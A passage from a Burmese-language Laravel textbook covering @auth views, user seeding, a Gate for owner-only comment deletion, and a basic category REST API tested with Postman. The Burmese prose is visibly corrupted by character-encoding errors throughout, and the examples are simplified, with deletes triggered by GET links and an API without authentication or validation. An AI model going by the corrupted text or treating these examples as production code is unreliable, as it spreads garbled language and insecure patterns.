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လုိရ့ပြပီး Login ဝင်ထားကြေတာ့မှသာ အသစ်ထည့်တာ၊ oျက်တာကြေတွ လုပ်လုိရ့ကြေတာ့မှာပါ။
တစ်ချ ို ့ + Add Article လုိခလုပ်ကြေတွ အပါအဝင် တစ်ချ ို ့ UI ကြေတွကိုလည်း Login ဝင်ထားမှ gပကြေစချင်ရင် ရ
ပါတယ်။ /resources/views/layouts oုိဒါထဲက app.blade.php မှာ + Add Article ခလုပ်
ထည့်ထားတာ မှတ်မိဦးမှာပါ။ ဒီလုိgပင်ကြေပးလုိက်မယ်ဆိုရင် အ့ဲဒီ + Add Article ခလုပ်ကို Login ဝင်ထားမှ
ပဲ gမင်ရကြေတာ့မှာပါ။

 HTML/Blade/PHP 

<li class="nav-item">
    @auth
        <a class="nav-link text-success"
            href="{{ url('/articles/add') }}">+ Add Article</a>
    @endauth
</li>

ကြေgပာင်းgပန်အားgoင့်  Login မဝင်ထားမှ gပကြေစချင်တာကြေတွ ရိှရင်လည်းရပါတယ်။  @auth အစား  @guest
ကို သုံးကြေပးရပါတယ်။

Authorizing Comment Delete (only owner)
ဒီတစ်ခါကြေတာ့  ကိုယ့်ထည့်ထားတဲ့  Comment  ကိုပဲ  oျက်ခွင့်gပုတဲ့  ကုဒ်ကြေတွ  ထပ်ကြေရးပါမယ်။  စမ်းသပ်
ကြေရးသားနိုင်oုိအ့တွက်  Database  Migration  နဲ့  Seed  ကို  အရင်gပင်ရပါမယ်။  ပထမဆံုးအကြေနနဲ့
xxx_create_comments_table.php ကိုoွင့်ပြပီး အခုလုိgoည့်စွက်ကြေပးပါ။

 PHP 

public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->text('content');
        $table->integer('article_id');
        $table->integer('user_id');
        $table->timestamps();
    });
}
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user_id Column ပါဝင်သွားတာပါ။ Comment ကြေတွသိမ်းတဲ့အခါ သိမ်းတဲ့သူရဲ့  ID ကို တွဲသိမ်းနိုင်oုိ့ပါ။
ပြပီးတဲ့အခါ၊ CommentFactory.php မှာလည်း အခုလုိgoည့်စွက်ကြေပးပါ။

 PHP 

public function definition()
{
    return [
        "content" => $this->faker->paragraph,
        "article_id" => rand(1, 20),
        "user_id" => rand(1, 2),
    ];
}

user_id Column  အတွက်  တန်oုိးတစ်ခါထဲ  ထည့်သတ်မှတ်ကြေပးလုိက်တာပါ။  ပြပီးရင်ကြေတာ့
DatabaseSeeder.php မှာ အခုလုိ User Model Class ကို Import လုပ်ကြေပးပါ။

 PHP 

use App\Models\User;

ပြပီးတဲ့အခါ User Factory ကိုသုံးပြပီး User Model နှစ်ခုတည်ကြေဆာက်တဲ့ကုဒ်ကို အခုလုိgoည့်ကြေပးပါ။

 PHP 

public function run()
{
    Article::factory()->count(20)->create();
    Category::factory()->count(5)->create();
    Comment::factory()->count(40)->create();

    User::factory()->create([
        "name" => "Alice",
        "email" => "alice@gmail.com",
    ]);

    User::factory()->create([
        "name" => "Bob",
        "email" => "bob@gmail.com",
    ]);
}
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Alice နဲ့ Bob ဆိုတဲ့ User (၂) ကြေယာက်ကို တစ်ခါထဲ ထည့်လုိက်တာပါ။ UserFactory က Framework
နဲအ့တူ နင်္ဂိုကတည်းက ပါဝင်ပြပီးgoစ်ပါတယ်။ ကိုယ့်yာသာ ထပ်ကြေရးကြေပးစရာ မလုိပါyူး။UserFactory
ထဲမှာ name, email ကို Faker နဲ့ Random ကြေပးထားလုိ့ မသံုးချင်ပါyူး။ ဒါကြေပမယ့် UserFactory
ကို  သွားgပင်စရာ  မလုိပါyူး။  နမူနာမှာ  gပထားတဲ့အတိုင်း  DatabaseSeeder မှာ  ကိုယ်ကြေပးချင်တဲ့
Property ကြေတွကို တွဲကြေပးလုိ့ ရပါတယ်။ UserFactory ထဲမှာ Password အတွက် password ဆိုတဲ့
စာလုံးကိုပဲ  Hash  ကြေgပာင်းပြပီး  သိမ်းထားကြေပးပါတယ်။  ဒါကြေeကာင့်  User  အားလုံးရဲ့  Password  က
password goစ်ပါတယ်။ 

ပြပီးတဲ့အခါ Migration နဲ့ Seed ကို အခုလုိ အတွဲလုိက် Run ကြေပးလုိက်ပါ။

php artisan migrate:fresh --seed

ကြေနာက်ကကြေန  --seed တွဲကြေပးထားတဲ့အတွက်  db:seed ကို  ကြေနာက်တစ်ကြေeကာင်း ထပ်  Run  စရာမလုိ
ကြေတာ့ပါyူး။ ပြပီးတဲ့အခါ  alice@gmail.com, bob@gmail.com  စတဲ့  အီးကြေမးလ်  (၂)  ခုထဲက နှစ်သက်ရာ
တစ်ခုနဲ ့Login ဝင်ပြပီး စမ်းeကည့်လုိရ့ပါပြပီ။ Password ကကြေတာ့ password ပါ။

လုပ်ချင်တာကကြေတာ့ Comment ကြေတွကို လူတိုင်းကို oျက်ခွင့်မကြေပးyဲ၊ မူလတင်ထားသူကိုသာ oျက်ခွင့်ကြေပး
ချင်တာပါ။  အ့ဲဒါမကြေရးခင်  yယ်  Comment  ကို  yယ်သူတင်ထားလဲ  သိရoုိ့  လုိပါကြေသးတယ်။ ဒါကြေeကာင့်
/app/Models oုိဒါကြေအာက်က Comment.php မှာ အခုလုိ Relationship Method တစ်ခု ကြေရးကြေပးပါ။

 PHP 

public function user()
{
    return $this->belongsTo("App\Models\User");
}

ပြပီးရင်  /resources/views/articles oုိဒါကြေအာက်က  detail.blade.php မှာ  အခုလုိgပင်
ကြေပးပါ။
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 HTML/Blade/PHP 

@extends("layouts.app")

@section("content")
  <div class="container">
    ...

    <ul class="list-group mb-2">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">

<a href="{{ url("/comments/delete/$comment->id") }}"
            class="btn-close float-end">
          </a>
          {{ $comment->content }}
          <div class="small mt-2">
            By <b>{{ $comment->user->name }}</b>,
            {{ $comment->created_at->diffForHumans() }}
          </div>
        </li>
      @endforeach
    </ul>

@auth
      <form action="{{ url('/comments/add') }}" method="post">
        ...
      </form>
    @endauth
  </div>
@endsection

Comment  ကိုကြေoာ်gပတဲ့အခါ  Username  နဲ့  Date Time  ကိုပါ  တစ်ခါထဲ ထည့်gပလုိက်တာပါ။ ပြပီးကြေတာ့
Comment Form ကိုလည်း @auth goစ်ကြေနမှပဲ gပခိုင်းထားပါတယ်။ လက်ရှိရလဒ်က အခုလုိgoစ်မှာပါ။
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အခုဆိုရင် Comment တစ်ခခုျင်းစီရဲ့ကြေအာက်မှာ yယ်သူကြေရးထားတာလဲဆိုတဲ့ နာမည်ကြေလးကြေတွ ကြေပါ်ကြေနပါ
ပြပီ။ ဆက်လက်ပြပီး ကိုယ်ကြေရးထားတဲ့  Comment ကိုပဲ oျက်လုိရ့ကြေအာင်၊ သူများ Comment ကြေတွ oျက်လုိမ့
ရကြေအာင် လုပ်ပါမယ်။

Laravel  မှာ  Authorization  နဲ့ပတ်သက်ရင်  Gate  နဲ့  Policies  လုိ့ကြေခါ်တဲ့  နည်းလမ်းနှစ်မျ ို းပါပါတယ်။
သကြေyာသyာဝကကြေတာ့ အတူတူပါပဲ။ Authorization Rule ကြေတွနည်းရင် Gate နဲ့ပဲ ကြေရးလုိရ့ပါတယ်။ များ
ရင်ကြေတာ့ စုစုစည်းစည်း goစ်သွားကြေအာင် Policies အကြေနနဲ့ ကြေရးသင့်ပါတယ်။ အခုလက်ရှိနမူနာမှာကြေတာ့ တစ်
ခတုည်းပဲ ရှိမှာမုိလုိ့့ Gate နဲ့ပဲ ကြေရးမှာgoစ်ပါတယ်။

တစ်ကယ်ကြေတာ့  Gate  ကြေတွ  Policies  ကြေတွမပါကြေသးyဲ  ဒီအတိုင်းလည်း  စစ်လုိရ့ပါတယ်။  ဥပမာ  -
CommentController ရဲ့ delete() Method ကို အခုလုိ gပင်နိုင်ပါတယ်။
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 PHP 

public function delete($id)
{
    $comment = Comment::find($id);

    if($comment->user_id == auth()->user()->id) {
        $comment->delete();
        return back();
    } else {
        return back()->with('error', 'Unauthorize');
    }
}

Controller Method ထဲမှာပဲ Comment ရဲ့ user_id နဲ့ လက်ရှိ Login ဝင်ထားတဲ့ User ရဲ့ id တူမတူ
စစ်လုိက်တာပါ။  auth() Function  ကိုသုံးပြပီး လက်ရှိ  Login  အကြေgခအကြေနကို  ရယူနိုင်ပါတယ်။ ဥပမာ  -
auth()->check()  က true gပန်လာရင် Login goစ်ပြပီး  false gပန်လာရင် Login မgoစ်yူးဆိုတဲ့
အဓိပ္ပါယ်ပါ။ လက်ရှိ  Login ဝင်ထားတဲ့  User ကို လုိချင်ရင်ကြေတာ့ auth()->user() နဲ့ ယူနိုင်ပါတယ်။
ဒီနည်းနဲပဲ့ နမူနာမှာ Login User ရဲ့ id ကို ယူပြပီးတိုက်စစ်ထားတာပါ။

ဒါကြေပမယ့်  Controller  Method  ကြေတွထဲမှာ  အခုလုိ  Authorization  စစ်တဲ့  Logic  ကြေတွကို  goန့်ကျဲပြပီး
ကြေရးထားတာ အကြေလ့အကျင့်ကြေကာင်း မဟုတ်ပါyူး။ eကာလာရင် စီမံရခက်လာပါလိမ့်မယ်။ ဒါကြေeကာင့် Gate
တို ့Policies တိုက့ို သုံးရတာပါ။

Comment  Delete  အတွက်  Authorization  Logic  ကြေရးoုိအ့တွက်  /app/Providers/ oုိဒါထဲက
AuthServiceProvider.php oုိင်ကိုoွင့်ပါ။ boot() Method ထဲမှာ အခုလုိကြေရးကြေပးပါ။

 PHP 

public function boot()
{
    $this->registerPolicies();

    Gate::define('comment-delete', function($user, $comment) {
        return $user->id == $comment->user_id;
    });
}
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Gate Class ရဲ့ define() Method ကို အသုံးgပုပြပီး Authorization Logic တစ်ခု သတ်မှတ်လုိက်တာပါ။
အမည်ကို comment-delete လုိ့ကြေပးထားပါတယ်။ ကြကိုက်တဲ့အမည်ကြေပးလုိရ့ပါတယ်။ အဓိပ္ပါယ်ကြေပါ်လွင်
ကြေအာင်  ကြေပးထားတဲ့  သကြေyာပါ။  Logic  ကိုကြေတာ့  ကြေနာက်က  Function  ထဲမှာ  ဆက်ကြေရးထားပါတယ်။
Function က Parameter နှစ်ခုလက်ခံပါတယ်။ $user နဲ့  $comment ပါ။ Logic ကကြေတာ့ ရုိးရုိးကြေလးပါ
$user->id နဲ ့$comment->user_id တရူင် မှန်တယ်လုိ့ သတ်မှတ်လုိက်တာပါ။

ဒီ Gate ကို အသုံးgပုပြပီး CommentController ရဲ့ delete() Method ကို gပင်ကြေရးပါမယ်။ မကြေရးခင်
အကြေပါ်မှာ Gate Class ကို အခုလုိအရင် Import လုပ်ကြေပးပါ။

 PHP 

use Illuminate\Support\Facades\Gate;

delete() Method အတွက် ကုဒ်က ဒီလုိပါ။

 PHP 

public function delete($id)
{
    $comment = Comment::find($id);

    if( Gate::allows('comment-delete', $comment) ) {
        $comment->delete();
        return back();
    } else {
        return back()->with('error', 'Unauthorize');
    }
}

ကြေစာကြေစာက  ကုဒ်နဲအ့တူတူပါပဲ။  ကိုယ့်yာသာ  စစ်မယ့်အစား  Gate  ရဲ့  အကူအညီနဲ့  ကြေရးပြပီးသား
comment-delete ကို လှမ်းကြေခါ်လုိက်တဲ့ သကြေyာမျ ို းပါ။ ဒီလုိကြေရးရင်လည်း ရပါတယ်။
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 PHP 

public function delete($id)
{
    $comment = Comment::find($id);

    if(Gate::denies('comment-delete', $comment)) {
        return back()->with('error', 'Unauthorize');   
    }

    $comment->delete();
    return back();
}

Gate ရဲ့ allows() သုိ့မဟုတ် denies() Method ကို အသုံးgပုပြပီး လက်ရှိအလုပ်ကို လုပ်ခွင့်ရှိမရှိ စစ်
လုိရ့တဲ့သကြေyာ  goစ်ပါတယ်။  Gate  ကို  define() နဲ့  သတ်မှတ်ခဲ့စဉ်က  Function  Parameter  မှာ
$user ကိုလည်း ထည့်ကြေပးခဲ့ရပါတယ်။ ဒါကြေပမယ့် gပန်သုံးတဲ့အချနိ်မှာ User ကို ထည့်ကြေပးစရာမလုိပါyူး။
Laravel  က သူ့yာသာ ထည့်ကြေပးသွားပါတယ်။ ဒါကြေeကာင့် gပန်သုံးတဲ့အချနိ်မှာ  $comment တစ်ခတုည်း
ကိုပဲ ထည့်ကြေပးထားတာပါ။

ဒီနည်းနဲ့ Laravel မှာ yယ်သူyယ်အလုပ်လုပ်ခွင့်ရှိတယ်ဆိုတဲ့ Authorization နဲ့ Access Control ကို စီမံ
ကြေရးသားရတာgoစ်ပါတယ်။  ကြေမ့ကျန်ခဲ့မှာစိုးလုိ့  CommentController ရဲ့  create() Method  ကို
လည်း အခုလုိ gပင်ကြေပးoုိ့လုိအပ်ပါတယ်။

 PHP 

public function create()
{
    $comment = new Comment;
    $comment->content = request()->content;
    $comment->article_id = request()->article_id;
    $comment->user_id = auth()->user()->id;
    $comment->save();

    return back();
}

ဒီကြေတာ့မှ Comment ကြေတွသိမ်းတဲ့အခါ user_id ကို ထည့်သိမ်းသွားမှာပါ။ Article ကြေတွကိုလည်း အ့ဲလုိပဲ
လူတိုင်းoျက်လုိမ့ရyဲ၊ ကြေရးထားတဲ့သူပဲ oျက်လုိရ့ကြေအာင် ကိုယ့်yာသာ စမ်းလုပ်eကည့်သင့်ပါတယ်။ 
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အခန်း (၅၂) – Basic API with Laravel

API (Application Program Interface) ဆိုတာဟာ UI မပါတဲ့ကုဒ်လုိ့ ဆိုနိုင်ပါတယ်။ API ကုဒ်နဲ့ တgခား
Application ကုဒ်ဟာ အကြေgခခံတူညီပြပီး  UI ပါgခင်းနဲ့ မပါgခင်းသာ ကွာသွားတာပါ။ Application က Input
Data  ကို လက်ခံပြပီး  UI  ကို  Output  အကြေနနဲ့ gပန်gပကြေပးပါမယ်။  API    ကကြေတာ့    Input Data    ကို လက်ခံပြပီး  
Output   ကိုလည်း   Data   အကြေနနဲပဲ့ gပန်ကြေပးပါတယ်  ။ UI မပါတဲ့အတွက် ရလာတဲ့ အားသာချက်ကြေတွကကြေတာ့ 

၁။ UI ကို နှစ်သက်ရာ နည်းပညာနဲ ့ခဲွgခားကြေရးသားနိုင်gခင်း goစ်ပါတယ်။ ဥပမာ - PHP API 
ကို JavaScript UI နဲ ့တဲွသုံးလုိ့ ရတဲ့သကြေyာပါ။

၂။ Platform အမျ ို းမျ ို းအတွက် UI အမျ ို းမျ ို းခွဲကြေရးထားနိုင်ပါတယ်။ ဥပမာ - Web App,
Android App, iOS App စသgoင့် အမျ ို းမျ ို းက API တစ်ခတုည်းကို ဆက်သွယ်အသံုး
gပု အလုပ်လုပ်နိုင်gခင်း goစ်ပါတယ်။

တစ်ကယ်ကြေတာ့ မျက်စိထဲမှာ gမင်ကြေအာင် UI လုိ့ ကြေgပာကြေနတာပါ။ ဒီ UI ပရုိင်္ဂရမ်ကြေတွကို Frontend လုိလ့ည်း
ကြေခါ်eကပါတယ်။ Client လုိလ့ည်း ကြေခါ်eကပါတယ်။ API ကိုကြေတာ့ Backend လုိ့ ကြေခါ်eကပါတယ်။

ဒါကြေeကာင့် Laravel ကို အသုံးgပုပြပီး API oန်တီးတဲ့အခါ၊ တgခား သကြေyာသသာဝကြေတွ အများကြကီး ကြေgပာင်းလဲ
gခင်းမရှိyဲ၊  View Template  ကြေတွကို မသုံးကြေတာ့တာပဲ ရှိတယ်လုိ့ အလွယ်ကြေgပာနိုင်ပါတယ်။ အကြေgခခံ  Web
နည်းပညာကြေတွထဲမှာ တစ်ခုအပါအဝင်goစ်တဲ့  Session ကိုလည်း API ကြေတွမှာ သုံးကြေလ့မရှိပါyူး။ ဒါကြေeကာင့်
Authentication  နဲ့  Authorization  ပုိင်းမှာကြေတာ့  ရုိးရုိး  Application  နဲ့  API  ကြေတာ်ကြေတာ်ကွာသွားပါလိမ့်
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မယ်။ ကြေလာကြေလာဆယ် အကြေgခခံကြေလာက်ပဲအရင်eကည့်ပြပီး  ကြေနာက်ဆံုးပုိင်းကြေရာက်ကြေတာ့မှ အကြေသးစိတ် ထပ်
eကည့်eကပါမယ်။

API Route
Routing အကြေeကာင်း ရှင်းgပခဲ့တံုးက လုိက်နာသင့်တဲ့ URL Pattern ကြေတွကိုကြေgပာခဲ့တာ မှတ်မိဦးမှာပါ။

• /resource/action/id
• /resource/action/id/sub-resource/sub-action

API အကြေeကာင်းကြေgပာတဲ့အခါ အရင်ဆံုးဒီကကြေနစကြေgပာရပါလိမ့်မယ်။ URL Pattern မကြေgပာင်းပါyူး။ ဒါကြေပမယ့်
action မလုိကြေတာ့ပါyူး။ ဒါကြေeကာင့် API အတွက် သုံးမယ့် URL Pattern က ဒီလုိပါ။

• /resource/id
• /resource/id/sub-resource

Action အစား HTTP Method ကြေတွgoစ်eကတဲ့ GET, POST, PUT, PATCH, DELETE တိုက့ို အသုံးgပုသွား ရ
မှာပါ။  ဒီနည်းက  REST  (Representational  State  Transfer)  လုိ့ကြေခါ်တဲ့  နည်းစနစ်ကကြေနလာပြပီး  API
oန်တီးသူတိုင်း  စံထားပြပီး  သုံးကြေနeကတဲ့  နည်းပါ။  အရင်တံုးကကြေတာ့  REST  ရဲ့  အားသာချက်ကြေတွ yယ်လုိ
yယ်ဝါရှိတယ်၊ ဒါကြေeကာင့် သုံးသင့်တယ် စသgoင့် ရှင်းgပရမှာပါ။ အခုကြေတာ့ အ့ဲဒီကြေလာက် ကြေgပာကြေနစရာ မလုိ
ကြေတာ့ပါyူး။ REST ဆိုတာ မgoစ်မကြေန သုံးကိုသုံးရမယ့် နည်းစနစ်goစ်ကြေနပါပြပီ။ ကြေနာက်ကွယ်မှာ ကျယ်gပန့်တဲ့
သကြေyာသyာဝကြေတွ ရှိကြေပမယ့် လက်ကြေတွ့အသုံးgပုနိုင်oုိဒီ့ URL Pattern ကို မှတ်ထားရင် လံုကြေလာက် ကြေနပါ
ပြပီ။

API Route ကြေတွကို Manual သတ်မှတ်မယ်ဆိုရင် ဒီလုိပံုစံgoစ်နိုင်ပါတယ်။

 PHP 

Route::get('/categories', [
    CategoryApiController::class, 'index'
]);

Route::get('/categories/{id}',  [
    CategoryApiController::class, 'detail'
]);
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Route::post('/categories',  [
    CategoryApiController::class, 'create'
]);

Route::put('/categories/{id}',  [
    CategoryApiController::class, 'update'
]);

Route::patch('/categories/{id}',  [
    CategoryApiController::class, 'update'
]);

Route::delete('/categories/{id}',  [
    CategoryApiController::class, 'delete'
]);

URL  က နှစ်ခုတည်းပါ။  /categories  နဲ့  /categories/{id} goစ်ပါတယ်။ ဒါကြေပမယ့်  get,
post, put, patch, delete တိုန့ဲတ့ွဲလုိက်တဲ့အခါ အလုပ်  (၅)  ခုရသွားပါတယ်။  (၆)  ကြေeကာင်း
ကြေရးထားကြေပမယ့် put နဲ့ patch အတွက် Controller Method တစ်ခုတည်းကို ညွှန်းထားတာကို သတိgပု
ပါ။ အကြေgခခံအားgoင့်  get() ကို  Data  ကြေတွ ရယူတဲ့  လုပ်ငန်းအတွက် သံုးပါတယ်။  post() ကို  Data
အသစ်တည်ကြေဆာက်တဲ့ လုပ်ငန်းအတွက်သံုးပါတယ်။ put() နဲ့ patch() ကို Data gပင်ဆင်တဲ့ လုပ်ငန်း
အတွက် သုံးပါတယ်။ တူတယ်လုိ့  ကြေgပာလုိရ့သလုိ၊ မတူyူးလုိ့လည်း ကြေgပာလုိရ့ပါတယ်။  PUT  ဆိုတာ နင်္ဂို
Data ကို  Data  အသစ်နဲ့ အစားထုိး gပင်ဆင်တဲ့ gပင်ဆင်မှုမျ ို းမှာ သံုးရတာပါ။  PATCH ကိုကြေတာ့ နင်္ဂို  Data
ထဲက  တစ်စတိ်တစ်ပုိင်းကို  ကြေရွးထုတ်gပင်ဆင်တဲ့  လုပ်ငန်းမျ ို းမှာ  သံုးရတာပါ။  gပင်တာချင်းတူကြေပမယ့်
သကြေyာသyာဝ ကွာပါတယ်။ ဒါကြေပမယ့် တစ်ချ ို ့ကြေတွလည်း အ့ဲဒီကြေလာက်ထိ အကြေသးစိတ် ခွဲမကြေနပါyူး။ gပင်
တဲ့အလုပ်ဆိုရင် yယ်လုိပဲgပင်gပင်  PUT  သုိ့မဟုတ်  PATCH  နှစ်ခုထဲက နှစ်သက်ရာ သံုးလုိက်eကတာပါပဲ။
delete() ကိုကြေတာ့ Data ကြေတွပယ်oျက်တဲ့ လုပ်ငန်းမှာ အသုံးgပုပါတယ်။

API  Route  ကြေတွရဲ့  သကြေyာသyာဝကို  သိကြေအာင်သာကြေgပာတာပါ။  Laravel  မှာ  အ့ဲဒီလုိတစ်ကြေeကာင်းချင်း
ကိုယ်တိုင်သတ်မှတ်ကြေပးစရာမလုိပါyူး။ ဒီလုိကြေရးလုိက်ရင် ရပါတယ်။

 PHP 

Route::apiResource('/categories', CategoryApiController::class);
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ဒါဆိုရင်  Laravel  က လုိအပ်တဲ့  get, post, put, delete ROUTE ကြေတွ အကုန်လုံးကို အလုိအ
ကြေလျှာက်  သတ်မှတ်ကြေပးသွားမှာပါ။  ဒါကြေeကာင့်  /routes oုိဒါထဲက  api.php ကိုoွင့်ပြပီး  အကြေပါ်မှာကြေပး
ထားတဲ့  ကုဒ်ကို  ကြေရးgoည့်ကြေပးလုိက်ပါ။  သတိပြပုပါ  -  အခုသုံးတာ  web.php မဟုတ်ကြေတာ့ပါyူး။
api.php goစ်သွားပါပြပီ။

web.php နဲ့  api.php yာကွာလဲဆိုကြေတာ့၊  web.php ထဲမှာ ကြေရးထားတဲ့  Route  ကြေတွကို  လုိအပ်ရင်
CSRF စစ်ပြပီး  Session အသုံးgပုခွင့် ကြေပးထားပါတယ်။ api.php ထဲက Route ကြေတွကိုကြေတာ့ CSRF မစစ်
ကြေတာ့ပါyူး။  Session  လည်းသုံးခွင့်မကြေပးကြေတာ့ပါyူး။  goည့်စွက်ချက်အကြေနနဲ့  Rate  Limit  ပါဝင်သွားပါ
တယ်။  ဒီ  API  ကို  ကြေခါ်သုံးတဲ့  Client  ကြေတဟွာ  တစ်မိနစ်မှာ  yယ်နှစ်ကြကိမ်သာ  ကြေခါ်ခွင့်ရှိတယ်ဆိုတဲ့
ကန့်သတ်ချက်ပါ။ ပြပီးကြေတာ့ api.php ထဲမှာ ကြေရးထားတဲ့  Route ကြေတွကို အသုံးgပုoုိ့ ကြေရှ့က /api ထည့်
ပြပီး သုံးကြေပးရပါတယ်။ ဒါကြေeကာင့် Route မှာ လိပ်စာကို  /categories လုိ့ ကြေပးထားကြေပမယ့် အသုံးgပုတဲ့
အခါ /api/categories လုိ့ သုံးကြေပးရမှာပါ။

ဆက်လက်ပြပီးကြေတာ့ CategoryApiController အမည်နဲ့ Controller တစ်ခတုည်ကြေဆာက်ပါမယ်။ ဒီ
လုိ Run ကြေပးပါ။

php artisan make:controller CategoryApiController --api --model=Category

ထူးgခားချက်အကြေနနဲ့ --api ပါဝင်သွားသလုိ --model=Category လည်း ပါဝင်သွားပါတယ်။ --api
လုိ့  ထည့်ကြေပးလုိက်တဲ့အတွက်  Controller  oုိင်ထဲမှာ  index,  store,  show,  update,
destroy ဆိုတဲ့  Method (၅) ခု တစ်ခါထဲ ပါဝင်သွားမှာပါ။ --model နဲ့  Category ကို တွဲကြေပးထား
လုိ့ အထဲမှာ Category Model Class ကို အသင့် Import လုပ်ထားကြေပးမှာပါ။ ကိုယ့်yာသာလုပ်လည်း ရ
ကြေပမယ့် အခုလုိ oုိင်တည်ကြေဆာက် ကတည်းက ထည့်ခိုင်းလုိက်လုိ့ ရတယ်ဆိုတာကို သိကြေစချင်လုိပ့ါ။

လက်ရှိကြေရးထားတဲ့ Route နဲ့ Controller အရ အလုပ်လုပ်တဲ့အခါ အခုလုိ အလုပ်လုပ်သွားမှာပါ။

• GET /categories -> index()
• GET /categories/{id} -> show()
• POST /categories -> store()



PWD 2023 – အခန်း (၅၂) – Basic API with Laravel 735

• PUT /categories/{id} -> update()
• DELETE /categories/{id} -> destroy()

ကျွန်ကြေတာ်တို့  ကိုယ့်yာသာကြေပးခဲ့တဲ့  Method အမည်ကြေတွနဲ့  Laravel  ကကြေပးတဲ့  Default  Method အမည်
ကြေတွ နည်းနည်း ကွာပါတယ်။ ဒါကြေပမယ့် မှတ်ရခက်ကြေလာက်ကြေအာင် ကွာတာမျ ို းကြေတာ့ မဟုတ်လုိ့ အဆင်ကြေgပ
မယ်လုိ ့ယူဆပါတယ်။ လုိအပ်တဲ့ကုဒ်ကြေတွ စကြေရးပါမယ်။

 PHP 

<?php

namespace App\Http\Controllers;

use App\Models\Category;
use Illuminate\Http\Request;

class CategoryApiController extends Controller
{
    public function index()
    {
        return Category::all();
    }

    public function store()
    {
        $category = new Category;
        $category->name = request()->name;
        $category->save();

        return $category;
    }

    public function show($id)
    {
        return Category::find($id);
    }

    public function update($id)
    {
        $category = Category::find($id);
        $category->name = request()->name;
        $category->save();

        return $category;
    }
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    public function destroy($id)
    {
        $category = Category::find($id);
        $category->delete();

        return $category;
    }
}

ကုဒ်က ရုိးရုိးရှင်းရှင်းပါပဲ။  index() က  Category  အားလုံးကို  Model  Collection  အကြေနနဲ့  gပန်ကြေပးပါ
တယ်။ Laravel က အ့ဲဒီ Model Collection ကို JSON Response goစ်ကြေအာင် အလုိအကြေလျှာက် ကြေgပာင်းပြပီး
gပန်ကြေပးပါတယ်။  ဒါကြေeကာင့်  Model  Collection  ကို  JSON  goစ်ကြေအာင်  Encode   လုပ်တဲ့  အလုပ်ကြေတွ၊
Response Status Code သတ်မှတ်တဲ့အလုပ်ကြေတွ၊  Response Header မှာ  Content-Type သတ်မှတ်တဲ့
အလုပ်ကြေတွ၊ တစ်ခုမှ လုပ်စရာမလုိကြေတာ့ပါyူး။ တစ်ကယ်ကြေတာ့ API Request / Response ပုိင်းမှာ ကိုယ့်
yာသာ လုပ်ရမယ်ဆိုရင် ကြေတာ်ကြေတာ်အလုပ်ရှုပ်တာပါ။ အခု အ့ဲကြေလာက်အလုပ်ရှုပ်တဲ့  ကိစ္စကို  လွယ်လွယ်
ကြေလးနဲ့ ရကြေနတာပါ။

view() Method  ကကြေတာ့  id နဲက့ိုက်တဲ့  Category Model  တစ်ခုကို  gပန်ကြေပးပါတယ်။ အတူတူပါပဲ။
Laravel  က JSON Response  အကြေနနဲ့ကြေgပာင်းကြေပးလုိက်မှာပါ။  store() က Request Data  name ကို
အသုံးgပုပြပီး  Model  အသစ်ကြေဆာက်ကြေပးပါတယ်။ ရလာတဲ့  Model  ကို  gပန်ကြေပးပါတယ်။  update() က
Request Data name ကို အသုံးgပုပြပီး id နဲက့ိုက်တဲ့ Model ကို Update လုပ်ကြေပးပါတယ်။ destroy()
ကကြေတာ့ id နဲ့ ကိုက်တဲ့  Model  ကို oျက်ကြေပးပါတယ်။ ဒါဟာ Category ကြေတွကို စီမံလုိရ့တဲ့ အကြေgခခံ  API
တစ်ခုကို အလွယ်တစ်ကူနဲ ့gမန်gမန်ဆန်ဆန် ရရှိသွားgခင်းပဲ goစ်ပါတယ်။

ကြေရးထားတဲ့ API လုပ်ကြေဆာင်ချက်ကြေတွကို စမ်းoုိအ့တွက် cURL, Postman, Insomnia စသgoင့် အသုံးဝင်တဲ့
API Testing Tool  အမျ ို းမျ ို းရှိပါတယ်။ နမူနာအကြေနနဲ့  အ့ဲဒီထဲက  Postman  ကိုအသုံးgပုကြေoာ်gပပါမယ်။ ဒါ
ကြေeကာင့် getpostman.com ကကြေန Postman ကို Download လုပ်ပြပီး Install လုပ်ထားoုိလုိ့ပါမယ်။

https://www.getpostman.com/
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အကြေပါ်က နမူနာပံုကိုeကည့်ပါ။  Request  Method  ကြေရွးရတဲ့ကြေနရာမှာ  GET  ကိုကြေရွးထားပြပီး  URL  လိပ်စာ
အကြေနနဲ့  http://localhost:8000/api/categories ကို ကြေပးထားပါတယ်။ ပြပီးတဲ့အခါ  Send
နှိပ်လုိက်ရင်  Postman  က  Request  ကို  ကျွနက်ြေတာ်တို့  ကြေရးထားတဲ့  API  ထံ  ကြေပးပုိ့သွားပြပီး  gပန်ရလာတဲ့
Response Data ကို ကြေoာ်gပကြေပးမှာ goစ်ပါတယ်။

php artisan serve နဲ့ ပကြေရာင်္ဂျက်ကို Run ထားoုိ့ကြေတာ့လုိပါတယ်။ Postman မသုံးyဲ Browser မှာ
ပဲ လိပ်စာအgပည့်အစံု  ရုိက်ထည့်ရင်လည်း ရပါတယ်။ ရုိးရုိး  GET Request  ကြေတွ  အတွက်က  Browser  နဲ့
တင် အဆင်ကြေgပပါတယ်။ တgခား POST, PUT, DELETE ကြေတွသာ Browser မှာ စမ်းရခက်တာပါ။

Postman URL  လိပ်စာကြေနရာမှာ  http://localhost:8000/api/categories/1 လုိ့ကြေgပာင်း
ပြပီး  စမ်းeကည့်ရင်ကြေတာ့  show() Method  အလုပ်လုပ်သွားမှာgoစ်လုိ့   id နံပါတ်  1  နဲက့ိုက်ညီတဲ့
Category  Data  ကို  gပန်လည်ရရှိမှာ  goစ်ပါတယ်။  Request  Method  မှာ  DELETE ကိုကြေရွးပြပီး
http://localhost:8000/api/categories/1 ကို  Request ကြေပးပုိရ့င်ကြေတာ့ id နံပါတ် 1 နဲ့
ကိုက်ညီတဲ့ Category ပျက်သွားမှာgoစ်ပါတယ်။ စမ်းeကည့်လုိရ့ပါတယ်။
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အသစ်ထည့်ပြပီးစမ်းeကည့်ချင်ရင်ကြေတာ့  Request  Method  မှာ  POST  ကို  ကြေရွးထားပြပီး  http://
localhost :8000/api/categories ကို  Request  ကြေပးပုိရ့မှာပါ။  name Parameter  ပါoုိလုိ့ပါ
တယ်။ မပါရင် Error တက်မှာပါ။ Validation စစ်တဲ့ကုဒ် မကြေရးထားပါyူး။ ကြေအာက်ကနမူနာပုံမှာeကည့်ပါ။
